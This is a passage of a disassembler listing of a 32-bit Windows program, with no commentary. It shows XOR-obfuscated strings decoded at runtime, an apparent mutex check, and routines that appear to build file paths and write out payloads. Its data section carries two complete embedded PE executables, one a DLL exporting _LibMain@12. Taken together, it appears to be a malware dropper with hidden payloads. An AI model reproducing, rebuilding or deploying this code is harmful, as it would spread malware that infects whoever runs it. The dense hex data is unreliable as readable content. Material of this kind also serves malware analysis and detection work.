'wcscmp',0 ; DATA XREF: .data:off_43C09Co aL8pjq db 'l 8pjQ',0 aHtons db 'htons',0 aP db ':P',0 aVirtualprotect db 'VirtualProtect',0 aGetcurrentproc db 'GetCurrentProcessId',0 aFindwindowa db 'FindWindowA',0 aSendmessagea db 'SendMessageA',0 db 'h',0 aIsbadreadptr db 'IsBadReadPtr',0 aGlobalfindatom db 'GlobalFindAtomA',0 aGlobalfindat_0 db 'GlobalFindAtomW',0 aPql db '!*pQL',0 byte_43C098 db 3 ; DATA XREF: sub_402639+91r align 4 off_43C09C dd offset aWcscmp ; DATA XREF: sub_402639+108r ; sub_402639+165r ; "wcscmp" off_43C0A0 dd offset aNtdll_dll ; DATA XREF: sub_402639+F5r ; "ntdll.dll" dd 5, 43C01Eh, 43BE7Dh, 7, 43C027h, 43BE3Fh, 8, 43C036h dd 43BE3Fh, 9, 43C04Ah, 43BE89h, 0Ah, 43C056h, 43BE89h dd 0Bh, 43C065h, 43BE3Fh, 0Ch, 43C072h, 43BE3Fh, 0Dh, 43C082h dd 43BE3Fh dword_43C104 dd 367F7F5Fh, 202B20hword_43C10C dw 6Dh ; DATA XREF: sub_402639+13Ar byte_43C10E db 0 ; DATA XREF: sub_402639+1C9o a@? db '@~?^',0 ; DATA XREF: sub_402936+144o aINW db 'I&n-*w',0 ; DATA XREF: sub_402936+15Eo word_43C11B dw 23h ; DATA XREF: sub_402936+1A5r aR_0 db '`r_0',0 ; DATA XREF: sub_402B12+4Ao aQyg6 db 'QYG6',0 ; DATA XREF: sub_402B12+20Ao dword_43C127 dd 2C597Ah byte_43C12B db 0 ; DATA XREF: sub_402B12+340o byte_43C12C db 0 ; DATA XREF: sub_402B12+37Do aH@d8u db '#h<@D8u',0 ; DATA XREF: sub_402B12+3B1o aMg6g_ox db 'mƒ6g.oX',0 ; DATA XREF: sub_403010+CDo dword_43C13D dd 613547h byte_43C141 db 2 dup(20h), 0 ; DATA XREF: sub_403010+2C5o dword_43C144 dd 674E7Ch word_43C148 dw 58h ; DATA XREF: sub_403010+39Ar align 4 dd 6, 0Bh dword_43C154 dd 6 ; sub_4033BC:loc_4033EAr ... byte_43C158 db 20h, 5Fh, 0 ; DATA XREF: sub_403453+14o aVp db '$',27h,'vp',0 ; DATA XREF: sub_403453+62o aY@j? db 'y@j?',0 ; DATA XREF: sub_403453+C6o dword_43C165 dd 352067h byte_43C169 db 0 ; DATA XREF: sub_40352B+1Co dword_43C16A dd 7A5A26h align 10h dd 0 dword_43C174 dd 0Fh dword_43C178 dd 0 ; sub_40364E:loc_40367Br ... a4d_w db '4D_w',0 ; DATA XREF: sub_4036DA+Fo byte_43C181 db 0 ; DATA XREF: sub_4036DA+1Fo aMrie db 'mrie',0 ; DATA XREF: sub_4036DA+9Fo aE0ls db 'E0LS',0 ; DATA XREF: sub_4037D7+1Co aR db ' r',0 ; DATA XREF: sub_4037D7+48o align 10h dd 4, 11h dword_43C198 dd 0 ; sub_40383E:loc_40386Cr ... dword_43C19C dd 7E6E58h aQetMvo db 'Qet<mvo',0 ; DATA XREF: .text:0040397Do aDp db 'Dp',0 ; DATA XREF: .text:00403A1Do align 4 dd 3, 12h dword_43C1B4 dd 0D0h ; sub_403A31:loc_403A57r ... dword_43C1B8 dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 80h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0) dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h dd 2000h, 10000000h, 1000h, 200h, 1, 0 dd 4, 0 dd 8000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 7000h, 48h, 5000h, 37Ch, 6 dup(0) dd 6000h, 0DCh, 3000h, 54h, 12h dup(0) a_text db '.text',0 align 4 db '¼',7,0 align 4 dd 1000h, 7BCh, 400h, 3 dup(0) dd 60000020h, 7373622Eh, 0 dd 0FE0h, 2000h, 5 dup(0) dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h dd 3 dup(0) dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h dd 3 dup(0) dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h dd 3 dup(0) dd 2000020h, 6164652Eh, 6174h, 48h, 7000h, 48h, 1800h dd 3 dup(0) dd 40000020h, 5Ch dup(0) dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh dd 1024548Bh, 3B80289h, 0C3000000h ; =============== S U B R O U T I N E ======================================= sub_43C5D8 proc near ; CODE XREF: .data:0043C700p ; .data:0043C72Ep var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push 10001000h push large dword ptr fs:0 mov large fs:0, esp loc_43C5F5: ; CODE XREF: sub_43C5D8+44j ; sub_43C5D8+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43C624 cmp esi, [esp+1Ch+arg_4] jz short loc_43C624 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43C5F5 call dword ptr [ebx+esi*4+8] jmp short loc_43C5F5 ; --------------------------------------------------------------------------- loc_43C624: ; CODE XREF: sub_43C5D8+2Aj ; sub_43C5D8+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43C5D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C632 proc near ; CODE XREF: .data:0043C6F3p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push 10001092h push [ebp+arg_0] call sub_43CCCC pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43C632 endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_43C727 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43C685: ; CODE XREF: .data:0043C71Ej cmp esi, 0FFFFFFFFh jz loc_43C736 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43C715 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov ds:10004034h, eax mov edx, [ebp-14h] mov eax, [edx] mov ds:10004038h, eax mov eax, [edx+4] mov ds:1000403Ch, eax push esi push edi push ecx mov ecx, 14h lea edi, ds:10004040h mov esi, ds:10004038h rep movsd lea edi, ds:10004040h mov ds:10004038h, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43C715 js short loc_43C723 mov edi, [ebx+8] push ebx call sub_43C632 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43C5D8 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43C715: ; CODE XREF: .data:0043C696j ; .data:0043C6EBj mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43C685 ; --------------------------------------------------------------------------- loc_43C723: ; CODE XREF: .data:0043C6EDj xor eax, eax jmp short loc_43C740 ; --------------------------------------------------------------------------- loc_43C727: ; CODE XREF: .data:0043C66Aj push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43C5D8 add esp, 0Ch loc_43C736: ; CODE XREF: .data:0043C688j push 0Bh call sub_43CD38 add esp, 4 loc_43C740: ; CODE XREF: .data:0043C725j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_43C759 call sub_43C77C loc_43C759: ; CODE XREF: .data:0043C752j call sub_43CC2B push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, ds:10004000h call eax pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- db 0B8h, 1, 0 dd 0F2EB0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C77C proc near ; CODE XREF: .data:0043C754p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_43CCF0 mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_43CCF0 mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_43CCF0 mov [ebp+var_C], eax push 1000401Eh push [ebp+var_8] call sub_43CCE4 mov ds:10004008h, eax push 1000401Ch push [ebp+var_4] call sub_43CCE4 mov ds:10004004h, eax push 1000401Ch push [ebp+var_C] call sub_43CCE4 add esp, 30h mov ds:1000400Ch, eax mov edi, ds:10004004h or edi, edi jz short loc_43C7F5 push 0 push edi call sub_43CD44 add esp, 8 loc_43C7F5: ; CODE XREF: sub_43C77C+6Cj mov edi, ds:1000400Ch or edi, edi jz short loc_43C80F push 0 push edi call sub_43CD44 add esp, 8 call sub_43C814 loc_43C80F: ; CODE XREF: sub_43C77C+81j pop edi leave retn sub_43C77C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C814 proc near ; CODE XREF: sub_43C77C+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_43CC60 mov ebx, eax mov [ebp+var_10], ebx jmp short loc_43C851 ; --------------------------------------------------------------------------- loc_43C830: ; CODE XREF: sub_43C814+45j cmp byte ptr ds:0[ebx], 3Dh jz short loc_43C83D inc [ebp+var_C] loc_43C83D: ; CODE XREF: sub_43C814+24j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_43C851: ; CODE XREF: sub_43C814+1Aj cmp byte ptr ds:0[ebx], 0 jnz short loc_43C830 mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_43CD14 pop ecx mov [ebp+var_8], eax mov ds:10004010h, eax cmp [ebp+var_8], 0 jnz short loc_43C884 xor eax, eax jmp short loc_43C8FA ; --------------------------------------------------------------------------- loc_43C884: ; CODE XREF: sub_43C814+6Aj mov ebx, [ebp+var_10] jmp short loc_43C8DD ; --------------------------------------------------------------------------- loc_43C889: ; CODE XREF: sub_43C814+D1j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr ds:0[ebx], 3Dh jz short loc_43C8D7 push [ebp+var_4] call sub_43CD14 pop ecx mov esi, [ebp+var_8] mov ds:0[esi], eax or eax, eax jnz short loc_43C8C0 jmp short loc_43C8FA ; --------------------------------------------------------------------------- loc_43C8C0: ; CODE XREF: sub_43C814+A8j push ebx mov edi, [ebp+var_8] push dword ptr ds:0[edi] call sub_43CD68 add esp, 8 add [ebp+var_8], 4 loc_43C8D7: ; CODE XREF: sub_43C814+91j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43C8DD: ; CODE XREF: sub_43C814+73j cmp byte ptr ds:0[ebx], 0 jnz short loc_43C889 mov edx, [ebp+var_8] mov dword ptr ds:0[edx], 0 mov eax, 1 loc_43C8FA: ; CODE XREF: sub_43C814+6Ej ; sub_43C814+AAj pop edi pop esi pop ebx leave retn sub_43C814 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C900 proc near ; CODE XREF: sub_43C9AA+22p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 181h push esi push [ebp+arg_0] mov eax, ds:10004098h lea eax, ds:10002000h[eax] push eax call sub_43CD20 add esp, 0Ch xor edi, edi jmp short loc_43C949 ; --------------------------------------------------------------------------- loc_43C92F: ; CODE XREF: sub_43C900+4Bj mov eax, ds:10004098h add eax, edi lea eax, ds:10002000h[eax] movsx edx, byte ptr [eax] xor edx, 0D9h mov [eax], dl inc edi loc_43C949: ; CODE XREF: sub_43C900+2Dj cmp edi, esi jl short loc_43C92F mov [ebp+var_8], 389h mov eax, ds:10004098h add eax, esi mov byte ptr ds:10002000h[eax], 0 xor edi, edi mov edi, ds:10004098h add dword ptr ds:10004098h, 3 mov eax, ds:10004098h lea eax, [eax+esi+4] mov ds:10004098h, eax inc dword ptr ds:10004098h cmp dword ptr ds:10004098h, 0DB6h jle short loc_43C999 and dword ptr ds:10004098h, 0 loc_43C999: ; CODE XREF: sub_43C900+90j mov [ebp+var_C], 9Ch lea eax, [edi+10002000h] pop edi pop esi leave retn sub_43C900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C9AA proc near ; CODE XREF: .data:0043CB43p var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push edi lea edi, [ebp+var_5] lea esi, ds:1000409Ch xor ecx, ecx inc ecx rep movsb call sub_43CC9C push 5 push 100040BDh call sub_43C900 add esp, 8 push eax push 0 push 1F0001h call sub_43CCC0 mov [ebp+var_4], eax or eax, eax jz short loc_43CA05 mov [ebp+var_C], 4FA1h inc [ebp+var_C] push eax call sub_43CC78 mov [ebp+var_E], 6C6Dh inc [ebp+var_E] xor eax, eax inc eax loc_43CA05: ; CODE XREF: sub_43C9AA+3Cj pop edi pop esi leave retn sub_43C9AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CA09 proc near ; CODE XREF: .data:0043CB77p var_10A = byte ptr -10Ah var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov edi, [ebp+arg_0] call sub_43CC54 call sub_43CC84 mov ecx, edi or eax, 0FFFFFFFFh loc_43CA27: ; CODE XREF: sub_43CA09+23j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43CA27 mov ebx, eax mov [ebp+var_6], bx mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_43CA5C ; --------------------------------------------------------------------------- loc_43CA3E: ; CODE XREF: sub_43CA09+59j movzx eax, [ebp+var_2] cmp byte ptr [edi+eax], 5Ch jnz short loc_43CA58 call sub_43CC48 inc [ebp+var_2] call sub_43CC9C jmp short loc_43CA64 ; --------------------------------------------------------------------------- loc_43CA58: ; CODE XREF: sub_43CA09+3Dj dec [ebp+var_2] loc_43CA5C: ; CODE XREF: sub_43CA09+33j movzx eax, [ebp+var_2] or eax, eax jg short loc_43CA3E loc_43CA64: ; CODE XREF: sub_43CA09+4Dj mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_43CAA2 mov [ebp+var_4], 0 jmp short loc_43CA90 ; --------------------------------------------------------------------------- loc_43CA76: ; CODE XREF: sub_43CA09+97j movzx eax, [ebp+var_4] movzx edx, [ebp+var_2] mov ecx, eax add ecx, edx mov dl, [edi+ecx] mov [ebp+eax+var_10A], dl inc [ebp+var_4] loc_43CA90: ; CODE XREF: sub_43CA09+6Bj movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_43CA76 loc_43CAA2: ; CODE XREF: sub_43CA09+63j mov esi, 6BBCh add esi, 7D41h lea eax, [ebp+var_10A] push eax call sub_43CCB4 call sub_43CCA8 pop edi pop esi pop ebx leave retn sub_43CA09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CAC3 proc near ; CODE XREF: .data:0043CBCAp var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push esi push edi call sub_43CC54 push 100040BBh push [ebp+arg_0] call sub_43CD5C add esp, 8 lea edi, [ebp+var_8] lea esi, ds:1000409Dh movsd movsd pop edi pop esi leave retn sub_43CAC3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 21Ch push esi push edi mov ax, ds:100040A5h mov [ebp-217h], ax mov eax, ds:10004094h add eax, 698h push eax call sub_43CD50 mov byte ptr [ebp-100h], 84h sub byte ptr [ebp-100h], 68h mov eax, ds:10004090h mov edx, eax add edx, 5 push edx mov edx, 0Fh sub edx, ds:10004094h push edx mov edx, 4 sub edx, eax push edx call sub_43C9AA add esp, 10h or eax, eax jz short loc_43CB57 xor eax, eax inc eax jmp loc_43CC00 ; --------------------------------------------------------------------------- loc_43CB57: ; CODE XREF: .data:0043CB4Dj push 104h lea eax, [ebp-205h] push eax push dword ptr [ebp+8] call sub_43CC6C call sub_43CC54 lea eax, [ebp-205h] push eax call sub_43CA09 mov byte ptr [ebp-101h], 1Bh add byte ptr [ebp-101h], 1 lea edi, [ebp-215h] lea esi, ds:100040A7h mov ecx, 4 rep movsd push 0FFh lea eax, [ebp-0FFh] push eax call sub_43CC90 mov eax, ds:100040B7h mov [ebp-21Bh], eax call sub_43CC54 call sub_43CC48 lea eax, [ebp-0FFh] push eax call sub_43CAC3 call sub_43CC9C lea eax, [ebp-215h] push eax lea eax, [ebp-0FFh] push eax call sub_43CD5C add esp, 10h push 1 lea eax, [ebp-0FFh] push eax call sub_43CCD8 call sub_43CC84 xor eax, eax inc eax loc_43CC00: ; CODE XREF: .data:0043CB52j pop edi pop esi leave retn 0Ch ; --------------------------------------------------------------------------- align 4 dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h db 0, 2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC2B loc_43CC1A: ; CODE XREF: sub_43CC2B+Dj fldcw word ptr [esp+4+var_4] pop ecx mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_43CC2B ; --------------------------------------------------------------------------- dd 243CD950h db 58h, 0EBh, 0F3h ; =============== S U B R O U T I N E ======================================= sub_43CC2B proc near ; CODE XREF: .data:loc_43C759p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043CC1A SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_43CC1A sub_43CC2B endp ; --------------------------------------------------------------------------- align 4 dd 50E825FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC48 proc near ; CODE XREF: sub_43CA09+3Fp ; .data:0043CBBEp jmp dword ptr ds:100050ECh sub_43CC48 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC54 proc near ; CODE XREF: sub_43CA09+Fp ; sub_43CAC3+7p ... jmp dword ptr ds:100050F0h sub_43CC54 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC60 proc near ; CODE XREF: sub_43C814+10p jmp dword ptr ds:100050F4h sub_43CC60 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC6C proc near ; CODE XREF: .data:0043CB66p jmp dword ptr ds:100050F8h sub_43CC6C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC78 proc near ; CODE XREF: sub_43C9AA+49p jmp dword ptr ds:100050FCh sub_43CC78 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC84 proc near ; CODE XREF: sub_43CA09+14p ; .data:0043CBF8p jmp dword ptr ds:10005100h sub_43CC84 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC90 proc near ; CODE XREF: .data:0043CBA9p jmp dword ptr ds:10005104h sub_43CC90 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CC9C proc near ; CODE XREF: sub_43C9AA+16p ; sub_43CA09+48p ... jmp dword ptr ds:10005108h sub_43CC9C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCA8 proc near ; CODE XREF: sub_43CA09+B0p jmp dword ptr ds:1000510Ch sub_43CCA8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCB4 proc near ; CODE XREF: sub_43CA09+ABp jmp dword ptr ds:10005110h sub_43CCB4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCC0 proc near ; CODE XREF: sub_43C9AA+32p jmp dword ptr ds:10005114h sub_43CCC0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCCC proc near ; CODE XREF: sub_43C632+13p jmp dword ptr ds:10005118h sub_43CCCC endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCD8 proc near ; CODE XREF: .data:0043CBF3p jmp dword ptr ds:1000511Ch sub_43CCD8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCE4 proc near ; CODE XREF: sub_43C77C+33p ; sub_43C77C+45p ... jmp dword ptr ds:10005128h sub_43CCE4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CCF0 proc near ; CODE XREF: sub_43C77C+Bp ; sub_43C77C+17p ... jmp dword ptr ds:1000512Ch sub_43CCF0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 dd 513025FFh, 90901000h, 0 dd 513425FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD14 proc near ; CODE XREF: sub_43C814+58p ; sub_43C814+96p jmp dword ptr ds:10005138h sub_43CD14 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD20 proc near ; CODE XREF: sub_43C900+23p jmp dword ptr ds:1000513Ch sub_43CD20 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 dd 514025FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD38 proc near ; CODE XREF: .data:0043C738p jmp dword ptr ds:10005144h sub_43CD38 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD44 proc near ; CODE XREF: sub_43C77C+71p ; sub_43C77C+86p jmp dword ptr ds:10005148h sub_43CD44 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD50 proc near ; CODE XREF: .data:0043CB11p jmp dword ptr ds:1000514Ch sub_43CD50 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD5C proc near ; CODE XREF: sub_43CAC3+14p ; .data:0043CBE2p jmp dword ptr ds:10005150h sub_43CD5C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43CD68 proc near ; CODE XREF: sub_43C814+B7p jmp dword ptr ds:10005154h sub_43CD68 endp ; --------------------------------------------------------------------------- dw 9090h dd 14h dup(0) dd 2 dup(1), 7Ch dup(0) dd 10001536h, 5 dup(0) dd 7325h, 720077h, 1Ch dup(0) dd 2, 0Ch, 0 dd 3B4E2A00h, 734D3E5Ah db 0, 4Bh, 0 aJfjbnm32 db 'Jfjbnm32',0 ; DATA XREF: sub_403D6F+29Do aJklmno db 'jklmno',0 aAy db 'Ay&',0 db '\',0 aTtii db '’’ˆë»',0 align 4 dd 4Fh dup(0) dd 5070h, 2 dup(0) dd 52F8h, 50E8h, 50B0h, 2 dup(0) dd 5340h, 5128h, 12h dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 2 dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 0 dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h dd 746E6572h, 65726854h, 64496461h, 0 dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h dd 4173676Eh, 0 dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h dd 73736563h, 70616548h, 0 dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 65470155h, 63695474h, 756F436Bh, 746Eh, 6547015Ch dd 72655674h, 6E6F6973h, 0 dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 704F01D2h, 754D6E65h, 41786574h, 0 dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh dd 63h, 665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0 dd 635F0039h, 74697865h, 0 dd 616D024Eh, 636F6C6Ch, 0 dd 656D0254h, 7970636Dh, 0 dd 7270025Bh, 66746E69h, 0 dd 61720260h, 657369h, 65730267h, 66756274h, 0 dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0 dd 74730275h, 79706372h, 0 aKernel32_dll_0 db 'KERNEL32.DLL',0 align 10h dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch dup(10005014h) dd 22h dup(0) dd 20h, 0 dd 20h, 1000h, 1800h, 2000h, 2C00h, 78h dup(0) dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh, 311B3113h dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch dd 33783374h, 4Ah dup(0) aB_0 db 0Ah db 'µ|B',0 align 4 aP_0 db '(p',0 align 4 dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h dd 703Ch, 0 a_libmain@12 db '_LibMain@12',0 dd 6Eh dup(0) db 0 byte_43DBB9 db 4Dh, 5Ah, 90h ; DATA XREF: sub_403BAD+EEo dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0 dd 0E00E000h, 2010B01h, 1A0037h, 180000h, 20000h, 121900h dd 100000h, 300000h, 40000000h, 100000h, 20000h, 100h dd 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 500000h, 97000h, 1Ch dup(0) dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h, 40000h dd 3 dup(0) dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0) dd 